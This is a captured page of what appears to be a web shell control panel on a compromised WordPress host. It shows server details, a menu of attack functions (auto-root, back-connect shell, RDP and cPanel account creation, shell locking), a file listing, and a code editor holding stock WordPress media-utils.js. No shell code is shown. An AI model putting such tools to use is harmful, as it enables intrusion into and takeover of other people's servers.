Linux business72.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
LiteSpeed
: 162.0.229.97 | : 18.117.76.255
Cant Read [ /etc/named.conf ]
8.1.30
temmmp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
temmmp /
goldenreviveplus.online /
wp-includes /
js /
dist /
[ HOME SHELL ]
Name
Size
Permission
Action
development
[ DIR ]
drwxr-xr-x
vendor
[ DIR ]
drwxr-xr-x
a11y.js
8.46
KB
-rw-r--r--
a11y.min.js
2.39
KB
-rw-r--r--
annotations.js
30.6
KB
-rw-r--r--
annotations.min.js
6.53
KB
-rw-r--r--
api-fetch.js
22.29
KB
-rw-r--r--
api-fetch.min.js
5.27
KB
-rw-r--r--
autop.js
15.9
KB
-rw-r--r--
autop.min.js
5.54
KB
-rw-r--r--
blob.js
3.62
KB
-rw-r--r--
blob.min.js
917
B
-rw-r--r--
block-directory.js
75.95
KB
-rw-r--r--
block-directory.min.js
20.6
KB
-rw-r--r--
block-editor.js
2.13
MB
-rw-r--r--
block-editor.min.js
714.6
KB
-rw-r--r--
block-library.js
1.86
MB
-rw-r--r--
block-library.min.js
788.04
KB
-rw-r--r--
block-serialization-default-pa...
14.93
KB
-rw-r--r--
block-serialization-default-pa...
2.39
KB
-rw-r--r--
blocks.js
540.82
KB
-rw-r--r--
blocks.min.js
167.71
KB
-rw-r--r--
commands.js
183.14
KB
-rw-r--r--
commands.min.js
46.66
KB
-rw-r--r--
components.js
2.63
MB
-rw-r--r--
components.min.js
790.84
KB
-rw-r--r--
compose.js
193.9
KB
-rw-r--r--
compose.min.js
36.67
KB
-rw-r--r--
core-commands.js
21.2
KB
-rw-r--r--
core-commands.min.js
7.94
KB
-rw-r--r--
core-data.js
230.15
KB
-rw-r--r--
core-data.min.js
55.19
KB
-rw-r--r--
customize-widgets.js
110.11
KB
-rw-r--r--
customize-widgets.min.js
39.5
KB
-rw-r--r--
data-controls.js
7.3
KB
-rw-r--r--
data-controls.min.js
1.59
KB
-rw-r--r--
data.js
152.25
KB
-rw-r--r--
data.min.js
26.7
KB
-rw-r--r--
date.js
798.3
KB
-rw-r--r--
date.min.js
765.34
KB
-rw-r--r--
deprecated.js
4.67
KB
-rw-r--r--
deprecated.min.js
729
B
-rw-r--r--
dom-ready.js
2.45
KB
-rw-r--r--
dom-ready.min.js
498
B
-rw-r--r--
dom.js
62.11
KB
-rw-r--r--
dom.min.js
12.77
KB
-rw-r--r--
edit-post.js
355.9
KB
-rw-r--r--
edit-post.min.js
125.19
KB
-rw-r--r--
edit-site.js
1.29
MB
-rw-r--r--
edit-site.min.js
505.33
KB
-rw-r--r--
edit-widgets.js
163.6
KB
-rw-r--r--
edit-widgets.min.js
57.64
KB
-rw-r--r--
editor.js
419.89
KB
-rw-r--r--
editor.min.js
147.66
KB
-rw-r--r--
element.js
66.15
KB
-rw-r--r--
element.min.js
12.35
KB
-rw-r--r--
escape-html.js
6.21
KB
-rw-r--r--
escape-html.min.js
1.11
KB
-rw-r--r--
format-library.js
63.81
KB
-rw-r--r--
format-library.min.js
22.46
KB
-rw-r--r--
hooks.js
19.58
KB
-rw-r--r--
hooks.min.js
4.52
KB
-rw-r--r--
html-entities.js
3.62
KB
-rw-r--r--
html-entities.min.js
837
B
-rw-r--r--
i18n.js
49.01
KB
-rw-r--r--
i18n.min.js
9.22
KB
-rw-r--r--
interactivity.js
80.97
KB
-rw-r--r--
interactivity.min.js
31.62
KB
-rw-r--r--
is-shallow-equal.js
4.33
KB
-rw-r--r--
is-shallow-equal.min.js
1.07
KB
-rw-r--r--
keyboard-shortcuts.js
31.74
KB
-rw-r--r--
keyboard-shortcuts.min.js
4.09
KB
-rw-r--r--
keycodes.js
33.33
KB
-rw-r--r--
keycodes.min.js
3.94
KB
-rw-r--r--
list-reusable-blocks.js
30.16
KB
-rw-r--r--
list-reusable-blocks.min.js
4.97
KB
-rw-r--r--
media-utils.js
22.02
KB
-rw-r--r--
media-utils.min.js
7.27
KB
-rw-r--r--
notices.js
21.81
KB
-rw-r--r--
notices.min.js
2.21
KB
-rw-r--r--
nux.js
20.58
KB
-rw-r--r--
nux.min.js
4.51
KB
-rw-r--r--
patterns.js
26.97
KB
-rw-r--r--
patterns.min.js
8.68
KB
-rw-r--r--
plugins.js
17.54
KB
-rw-r--r--
plugins.min.js
4.24
KB
-rw-r--r--
preferences-persistence.js
28.17
KB
-rw-r--r--
preferences-persistence.min.js
4.85
KB
-rw-r--r--
preferences.js
11.42
KB
-rw-r--r--
preferences.min.js
2.58
KB
-rw-r--r--
primitives.js
9.59
KB
-rw-r--r--
primitives.min.js
2.46
KB
-rw-r--r--
priority-queue.js
13.98
KB
-rw-r--r--
priority-queue.min.js
3.36
KB
-rw-r--r--
private-apis.js
8.57
KB
-rw-r--r--
private-apis.min.js
2.63
KB
-rw-r--r--
redux-routine.js
23.52
KB
-rw-r--r--
redux-routine.min.js
8.79
KB
-rw-r--r--
reusable-blocks.js
20.37
KB
-rw-r--r--
reusable-blocks.min.js
6.5
KB
-rw-r--r--
rich-text.js
123.03
KB
-rw-r--r--
rich-text.min.js
30.4
KB
-rw-r--r--
router.js
25.91
KB
-rw-r--r--
router.min.js
4.25
KB
-rw-r--r--
server-side-render.js
14.42
KB
-rw-r--r--
server-side-render.min.js
4.4
KB
-rw-r--r--
shortcode.js
14.96
KB
-rw-r--r--
shortcode.min.js
2.87
KB
-rw-r--r--
style-engine.js
36.88
KB
-rw-r--r--
style-engine.min.js
5.51
KB
-rw-r--r--
token-list.js
6.48
KB
-rw-r--r--
token-list.min.js
1.27
KB
-rw-r--r--
undo-manager.js
8.32
KB
-rw-r--r--
undo-manager.min.js
1.75
KB
-rw-r--r--
url.js
33.88
KB
-rw-r--r--
url.min.js
9.4
KB
-rw-r--r--
viewport.js
10.53
KB
-rw-r--r--
viewport.min.js
1.94
KB
-rw-r--r--
warning.js
2.46
KB
-rw-r--r--
warning.min.js
352
B
-rw-r--r--
widgets.js
53.63
KB
-rw-r--r--
widgets.min.js
20.71
KB
-rw-r--r--
wordcount.js
14.68
KB
-rw-r--r--
wordcount.min.js
2.47
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : media-utils.js
/******/ (function() { // webpackBootstrap /******/ "use strict"; /******/ // The require scope /******/ var __webpack_require__ = {}; /******/ /************************************************************************/ /******/ /* webpack/runtime/compat get default export */ /******/ !function() { /******/ // getDefaultExport function for compatibility with non-harmony modules /******/ __webpack_require__.n = function(module) { /******/ var getter = module && module.__esModule ? /******/ function() { return module['default']; } : /******/ function() { return module; }; /******/ __webpack_require__.d(getter, { a: getter }); /******/ return getter; /******/ }; /******/ }(); /******/ /******/ /* webpack/runtime/define property getters */ /******/ !function() { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = function(exports, definition) { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ }(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ !function() { /******/ __webpack_require__.o = function(obj, prop) { return Object.prototype.hasOwnProperty.call(obj, prop); } /******/ }(); /******/ /******/ /* webpack/runtime/make namespace object */ /******/ !function() { /******/ // define __esModule on exports /******/ __webpack_require__.r = function(exports) { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ }(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // ESM COMPAT FLAG __webpack_require__.r(__webpack_exports__); // EXPORTS __webpack_require__.d(__webpack_exports__, { MediaUpload: function() { return /* reexport */ media_upload; }, uploadMedia: function() { return /* reexport */ uploadMedia; } }); ;// CONCATENATED MODULE: external ["wp","element"] var external_wp_element_namespaceObject = window["wp"]["element"]; ;// CONCATENATED MODULE: external ["wp","i18n"] var external_wp_i18n_namespaceObject = window["wp"]["i18n"]; ;// CONCATENATED MODULE: ./node_modules/@wordpress/media-utils/build-module/components/media-upload/index.js /** * WordPress dependencies */ const DEFAULT_EMPTY_GALLERY = []; /** * Prepares the Featured Image toolbars and frames. * * @return {window.wp.media.view.MediaFrame.Select} The default media workflow. */ const getFeaturedImageMediaFrame = () => { const { wp } = window; return wp.media.view.MediaFrame.Select.extend({ /** * Enables the Set Featured Image Button. * * @param {Object} toolbar toolbar for featured image state * @return {void} */ featuredImageToolbar(toolbar) { this.createSelectToolbar(toolbar, { text: wp.media.view.l10n.setFeaturedImage, state: this.options.state }); }, /** * Handle the edit state requirements of selected media item. * * @return {void} */ editState() { const selection = this.state('featured-image').get('selection'); const view = new wp.media.view.EditImage({ model: selection.single(), controller: this }).render(); // Set the view to the EditImage frame using the selected image. this.content.set(view); // After bringing in the frame, load the actual editor via an ajax call. view.loadEditor(); }, /** * Create the default states. * * @return {void} */ createStates: function createStates() { this.on('toolbar:create:featured-image', this.featuredImageToolbar, this); this.on('content:render:edit-image', this.editState, this); this.states.add([new wp.media.controller.FeaturedImage(), new wp.media.controller.EditImage({ model: this.options.editImage })]); } }); }; /** * Prepares the Gallery toolbars and frames. * * @return {window.wp.media.view.MediaFrame.Post} The default media workflow. */ const getGalleryDetailsMediaFrame = () => { const { wp } = window; /** * Custom gallery details frame. * * @see https://github.com/xwp/wp-core-media-widgets/blob/905edbccfc2a623b73a93dac803c5335519d7837/wp-admin/js/widgets/media-gallery-widget.js * @class GalleryDetailsMediaFrame * @class */ return wp.media.view.MediaFrame.Post.extend({ /** * Set up gallery toolbar. * * @return {void} */ galleryToolbar() { const editing = this.state().get('editing'); this.toolbar.set(new wp.media.view.Toolbar({ controller: this, items: { insert: { style: 'primary', text: editing ? wp.media.view.l10n.updateGallery : wp.media.view.l10n.insertGallery, priority: 80, requires: { library: true }, /** * @fires wp.media.controller.State#update */ click() { const controller = this.controller, state = controller.state(); controller.close(); state.trigger('update', state.get('library')); // Restore and reset the default state. controller.setState(controller.options.state); controller.reset(); } } } })); }, /** * Handle the edit state requirements of selected media item. * * @return {void} */ editState() { const selection = this.state('gallery').get('selection'); const view = new wp.media.view.EditImage({ model: selection.single(), controller: this }).render(); // Set the view to the EditImage frame using the selected image. this.content.set(view); // After bringing in the frame, load the actual editor via an ajax call. view.loadEditor(); }, /** * Create the default states. * * @return {void} */ createStates: function createStates() { this.on('toolbar:create:main-gallery', this.galleryToolbar, this); this.on('content:render:edit-image', this.editState, this); this.states.add([new wp.media.controller.Library({ id: 'gallery', title: wp.media.view.l10n.createGalleryTitle, priority: 40, toolbar: 'main-gallery', filterable: 'uploaded', multiple: 'add', editable: false, library: wp.media.query({ type: 'image', ...this.options.library }) }), new wp.media.controller.EditImage({ model: this.options.editImage }), new wp.media.controller.GalleryEdit({ library: this.options.selection, editing: this.options.editing, menu: 'gallery', displaySettings: false, multiple: true }), new wp.media.controller.GalleryAdd()]); } }); }; // The media library image object contains numerous attributes // we only need this set to display the image in the library. const slimImageObject = img => { const attrSet = ['sizes', 'mime', 'type', 'subtype', 'id', 'url', 'alt', 'link', 'caption']; return attrSet.reduce((result, key) => { if (img?.hasOwnProperty(key)) { result[key] = img[key]; } return result; }, {}); }; const getAttachmentsCollection = ids => { const { wp } = window; return wp.media.query({ order: 'ASC', orderby: 'post__in', post__in: ids, posts_per_page: -1, query: true, type: 'image' }); }; class MediaUpload extends external_wp_element_namespaceObject.Component { constructor({ allowedTypes, gallery = false, unstableFeaturedImageFlow = false, modalClass, multiple = false, title = (0,external_wp_i18n_namespaceObject.__)('Select or Upload Media') }) { super(...arguments); this.openModal = this.openModal.bind(this); this.onOpen = this.onOpen.bind(this); this.onSelect = this.onSelect.bind(this); this.onUpdate = this.onUpdate.bind(this); this.onClose = this.onClose.bind(this); const { wp } = window; if (gallery) { this.buildAndSetGalleryFrame(); } else { const frameConfig = { title, multiple }; if (!!allowedTypes) { frameConfig.library = { type: allowedTypes }; } this.frame = wp.media(frameConfig); } if (modalClass) { this.frame.$el.addClass(modalClass); } if (unstableFeaturedImageFlow) { this.buildAndSetFeatureImageFrame(); } this.initializeListeners(); } initializeListeners() { // When an image is selected in the media frame... this.frame.on('select', this.onSelect); this.frame.on('update', this.onUpdate); this.frame.on('open', this.onOpen); this.frame.on('close', this.onClose); } /** * Sets the Gallery frame and initializes listeners. * * @return {void} */ buildAndSetGalleryFrame() { const { addToGallery = false, allowedTypes, multiple = false, value = DEFAULT_EMPTY_GALLERY } = this.props; // If the value did not changed there is no need to rebuild the frame, // we can continue to use the existing one. if (value === this.lastGalleryValue) { return; } const { wp } = window; this.lastGalleryValue = value; // If a frame already existed remove it. if (this.frame) { this.frame.remove(); } let currentState; if (addToGallery) { currentState = 'gallery-library'; } else { currentState = value && value.length ? 'gallery-edit' : 'gallery'; } if (!this.GalleryDetailsMediaFrame) { this.GalleryDetailsMediaFrame = getGalleryDetailsMediaFrame(); } const attachments = getAttachmentsCollection(value); const selection = new wp.media.model.Selection(attachments.models, { props: attachments.props.toJSON(), multiple }); this.frame = new this.GalleryDetailsMediaFrame({ mimeType: allowedTypes, state: currentState, multiple, selection, editing: value && value.length ? true : false }); wp.media.frame = this.frame; this.initializeListeners(); } /** * Initializes the Media Library requirements for the featured image flow. * * @return {void} */ buildAndSetFeatureImageFrame() { const { wp } = window; const featuredImageFrame = getFeaturedImageMediaFrame(); const attachments = getAttachmentsCollection(this.props.value); const selection = new wp.media.model.Selection(attachments.models, { props: attachments.props.toJSON() }); this.frame = new featuredImageFrame({ mimeType: this.props.allowedTypes, state: 'featured-image', multiple: this.props.multiple, selection, editing: this.props.value ? true : false }); wp.media.frame = this.frame; } componentWillUnmount() { this.frame.remove(); } onUpdate(selections) { const { onSelect, multiple = false } = this.props; const state = this.frame.state(); const selectedImages = selections || state.get('selection'); if (!selectedImages || !selectedImages.models.length) { return; } if (multiple) { onSelect(selectedImages.models.map(model => slimImageObject(model.toJSON()))); } else { onSelect(slimImageObject(selectedImages.models[0].toJSON())); } } onSelect() { const { onSelect, multiple = false } = this.props; // Get media attachment details from the frame state. const attachment = this.frame.state().get('selection').toJSON(); onSelect(multiple ? attachment : attachment[0]); } onOpen() { const { wp } = window; const { value } = this.props; this.updateCollection(); //Handle active tab in media model on model open. if (this.props.mode) { this.frame.content.mode(this.props.mode); } // Handle both this.props.value being either (number[]) multiple ids // (for galleries) or a (number) singular id (e.g. image block). const hasMedia = Array.isArray(value) ? !!value?.length : !!value; if (!hasMedia) { return; } const isGallery = this.props.gallery; const selection = this.frame.state().get('selection'); const valueArray = Array.isArray(value) ? value : [value]; if (!isGallery) { valueArray.forEach(id => { selection.add(wp.media.attachment(id)); }); } // Load the images so they are available in the media modal. const attachments = getAttachmentsCollection(valueArray); // Once attachments are loaded, set the current selection. attachments.more().done(function () { if (isGallery && attachments?.models?.length) { selection.add(attachments.models); } }); } onClose() { const { onClose } = this.props; if (onClose) { onClose(); } } updateCollection() { const frameContent = this.frame.content.get(); if (frameContent && frameContent.collection) { const collection = frameContent.collection; // Clean all attachments we have in memory. collection.toArray().forEach(model => model.trigger('destroy', model)); // Reset has more flag, if library had small amount of items all items may have been loaded before. collection.mirroring._hasMore = true; // Request items. collection.more(); } } openModal() { if (this.props.gallery) { this.buildAndSetGalleryFrame(); } this.frame.open(); } render() { return this.props.render({ open: this.openModal }); } } /* harmony default export */ var media_upload = (MediaUpload); ;// CONCATENATED MODULE: ./node_modules/@wordpress/media-utils/build-module/components/index.js ;// CONCATENATED MODULE: external ["wp","apiFetch"] var external_wp_apiFetch_namespaceObject = window["wp"]["apiFetch"]; var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_namespaceObject); ;// CONCATENATED MODULE: external ["wp","blob"] var external_wp_blob_namespaceObject = window["wp"]["blob"]; ;// CONCATENATED MODULE: ./node_modules/@wordpress/media-utils/build-module/utils/upload-media.js /** * WordPress dependencies */ const noop = () => {}; /** * Browsers may use unexpected mime types, and they differ from browser to browser. * This function computes a flexible array of mime types from the mime type structured provided by the server. * Converts { jpg|jpeg|jpe: "image/jpeg" } into [ "image/jpeg", "image/jpg", "image/jpeg", "image/jpe" ] * The computation of this array instead of directly using the object, * solves the problem in chrome where mp3 files have audio/mp3 as mime type instead of audio/mpeg. * https://bugs.chromium.org/p/chromium/issues/detail?id=227004 * * @param {?Object} wpMimeTypesObject Mime type object received from the server. * Extensions are keys separated by '|' and values are mime types associated with an extension. * * @return {?Array} An array of mime types or the parameter passed if it was "falsy". */ function getMimeTypesArray(wpMimeTypesObject) { if (!wpMimeTypesObject) { return wpMimeTypesObject; } return Object.entries(wpMimeTypesObject).map(([extensionsString, mime]) => { const [type] = mime.split('/'); const extensions = extensionsString.split('|'); return [mime, ...extensions.map(extension => `${type}/${extension}`)]; }).flat(); } /** * Media Upload is used by audio, image, gallery, video, and file blocks to * handle uploading a media file when a file upload button is activated. * * TODO: future enhancement to add an upload indicator. * * @param {Object} $0 Parameters object passed to the function. * @param {?Array} $0.allowedTypes Array with the types of media that can be uploaded, if unset all types are allowed. * @param {?Object} $0.additionalData Additional data to include in the request. * @param {Array} $0.filesList List of files. * @param {?number} $0.maxUploadFileSize Maximum upload size in bytes allowed for the site. * @param {Function} $0.onError Function called when an error happens. * @param {Function} $0.onFileChange Function called each time a file or a temporary representation of the file is available. * @param {?Object} $0.wpAllowedMimeTypes List of allowed mime types and file extensions. */ async function uploadMedia({ allowedTypes, additionalData = {}, filesList, maxUploadFileSize, onError = noop, onFileChange, wpAllowedMimeTypes = null }) { // Cast filesList to array. const files = [...filesList]; const filesSet = []; const setAndUpdateFiles = (idx, value) => { (0,external_wp_blob_namespaceObject.revokeBlobURL)(filesSet[idx]?.url); filesSet[idx] = value; onFileChange(filesSet.filter(Boolean)); }; // Allowed type specified by consumer. const isAllowedType = fileType => { if (!allowedTypes) { return true; } return allowedTypes.some(allowedType => { // If a complete mimetype is specified verify if it matches exactly the mime type of the file. if (allowedType.includes('/')) { return allowedType === fileType; } // Otherwise a general mime type is used and we should verify if the file mimetype starts with it. return fileType.startsWith(`${allowedType}/`); }); }; // Allowed types for the current WP_User. const allowedMimeTypesForUser = getMimeTypesArray(wpAllowedMimeTypes); const isAllowedMimeTypeForUser = fileType => { return allowedMimeTypesForUser.includes(fileType); }; const validFiles = []; for (const mediaFile of files) { // Verify if user is allowed to upload this mime type. // Defer to the server when type not detected. if (allowedMimeTypesForUser && mediaFile.type && !isAllowedMimeTypeForUser(mediaFile.type)) { onError({ code: 'MIME_TYPE_NOT_ALLOWED_FOR_USER', message: (0,external_wp_i18n_namespaceObject.sprintf)( // translators: %s: file name. (0,external_wp_i18n_namespaceObject.__)('%s: Sorry, you are not allowed to upload this file type.'), mediaFile.name), file: mediaFile }); continue; } // Check if the block supports this mime type. // Defer to the server when type not detected. if (mediaFile.type && !isAllowedType(mediaFile.type)) { onError({ code: 'MIME_TYPE_NOT_SUPPORTED', message: (0,external_wp_i18n_namespaceObject.sprintf)( // translators: %s: file name. (0,external_wp_i18n_namespaceObject.__)('%s: Sorry, this file type is not supported here.'), mediaFile.name), file: mediaFile }); continue; } // Verify if file is greater than the maximum file upload size allowed for the site. if (maxUploadFileSize && mediaFile.size > maxUploadFileSize) { onError({ code: 'SIZE_ABOVE_LIMIT', message: (0,external_wp_i18n_namespaceObject.sprintf)( // translators: %s: file name. (0,external_wp_i18n_namespaceObject.__)('%s: This file exceeds the maximum upload size for this site.'), mediaFile.name), file: mediaFile }); continue; } // Don't allow empty files to be uploaded. if (mediaFile.size <= 0) { onError({ code: 'EMPTY_FILE', message: (0,external_wp_i18n_namespaceObject.sprintf)( // translators: %s: file name. (0,external_wp_i18n_namespaceObject.__)('%s: This file is empty.'), mediaFile.name), file: mediaFile }); continue; } validFiles.push(mediaFile); // Set temporary URL to create placeholder media file, this is replaced // with final file from media gallery when upload is `done` below. filesSet.push({ url: (0,external_wp_blob_namespaceObject.createBlobURL)(mediaFile) }); onFileChange(filesSet); } for (let idx = 0; idx < validFiles.length; ++idx) { const mediaFile = validFiles[idx]; try { var _savedMedia$caption$r; const savedMedia = await createMediaFromFile(mediaFile, additionalData); // eslint-disable-next-line camelcase const { alt_text, source_url, ...savedMediaProps } = savedMedia; const mediaObject = { ...savedMediaProps, alt: savedMedia.alt_text, caption: (_savedMedia$caption$r = savedMedia.caption?.raw) !== null && _savedMedia$caption$r !== void 0 ? _savedMedia$caption$r : '', title: savedMedia.title.raw, url: savedMedia.source_url }; setAndUpdateFiles(idx, mediaObject); } catch (error) { // Reset to empty on failure. setAndUpdateFiles(idx, null); let message; if (error.message) { message = error.message; } else { message = (0,external_wp_i18n_namespaceObject.sprintf)( // translators: %s: file name (0,external_wp_i18n_namespaceObject.__)('Error while uploading file %s to the media library.'), mediaFile.name); } onError({ code: 'GENERAL', message, file: mediaFile }); } } } /** * @param {File} file Media File to Save. * @param {?Object} additionalData Additional data to include in the request. * * @return {Promise} Media Object Promise. */ function createMediaFromFile(file, additionalData) { // Create upload payload. const data = new window.FormData(); data.append('file', file, file.name || file.type.replace('/', '.')); if (additionalData) { Object.entries(additionalData).forEach(([key, value]) => data.append(key, value)); } return external_wp_apiFetch_default()({ path: '/wp/v2/media', body: data, method: 'POST' }); } ;// CONCATENATED MODULE: ./node_modules/@wordpress/media-utils/build-module/utils/index.js ;// CONCATENATED MODULE: ./node_modules/@wordpress/media-utils/build-module/index.js (window.wp = window.wp || {}).mediaUtils = __webpack_exports__; /******/ })() ;
Close